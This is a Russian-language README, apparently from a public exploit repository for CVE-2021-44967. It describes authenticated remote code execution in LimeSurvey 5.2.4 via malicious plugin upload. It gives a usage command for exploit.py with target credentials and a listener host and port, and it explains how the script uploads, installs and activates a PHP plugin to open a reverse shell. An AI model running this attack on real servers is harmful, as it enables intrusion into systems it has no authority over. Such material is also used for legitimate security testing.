monke443/cve-2021-44967Аутентифицированное (привилегированное) удалённое выполнение команд в LimeSurvey версии 5.2.4 через загрузку и установку плагинов позволяет удалённому пользователю загружать произвольный PHP-файл.
Аутентифицированное (привилегированное) удалённое выполнение команд в LimeSurvey версии 5.2.4 через загрузку и установку плагинов позволяет удалённому пользователю загружать произвольный PHP-код.
python3 exploit.py --url <http://example.com> --user <userName> --password <userPassword> --lhost <localHost> --lport <localPort>
Суперпользователь (superadmin) может загружать модули плагинов через панель администрирования LimeSurvey. Скрипт локально создаёт файлы, упаковывает их в ZIP и загружает. Затем выполняется вызов для установки, активации и запуска модулей, что приводит к выполнению reverse shell.
